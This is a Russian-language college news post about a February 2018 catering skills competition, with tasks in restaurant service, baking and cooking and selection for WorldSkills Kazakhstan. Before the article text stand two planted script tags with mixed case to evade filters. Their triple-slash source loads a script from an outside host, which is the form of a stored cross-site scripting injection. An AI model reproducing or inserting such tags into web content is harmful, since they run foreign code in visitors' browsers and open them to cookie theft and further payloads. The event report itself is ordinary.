<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

20.02.2018

В рамках программы «Рухани Жанғыру» в КГУ АТК №4 13-14 февраля 2018года проводился Конкурс профессионального мастерства специальности «организация питания».

Конкурс проводился по трём квалификациям:

Ресторанный сервис, пекарское мастерство, поварское искусство.

В компетенции «Ресторанный сервис», соревновались учащиеся группы 02Б-ОП-16,они выполняли конкурсные задания:

Складывания салфеток, сервировка стола по виртуальному меню, приготовление коктейлей, фламбирование и подача фруктов.

В компетенции «Пекарское мастерство» соревновались учащиеся группы 02А-ОП-16, они выполняли конкурсные задания:

Замес двух видов теста (опарного дрожжевого теста и бисквитного теста ), формовка и выпечка булочек из дрожжевого опарного теста, разной формы ,выпечка бисквита, оформление и подача пирожных.

В компетенции « Поварское искусство»  соревновались учащиеся групп специальности повар, они выполняли следующие конкурсные задания:

Приготовление салата из отварных овощей, приготовление супа-пюре из мяса птицы, приготовление тельного из рыбной котлетной массы, приготовление десерта из бисквита.

Во время выполнения участниками заданий со зрителями проводились викторины, игры показаны номера художественной самодеятельности. В рамках профориентации профессия «Организация питания»  была представлена слайдовая презентация участия специальности в районных, областных, республиканских конкурсах.

По результатам конкурса были выявлены  представители для участия в региональном чемпионате «World Skills

Kazahstan".

Гренина Н. А.: мастерп/о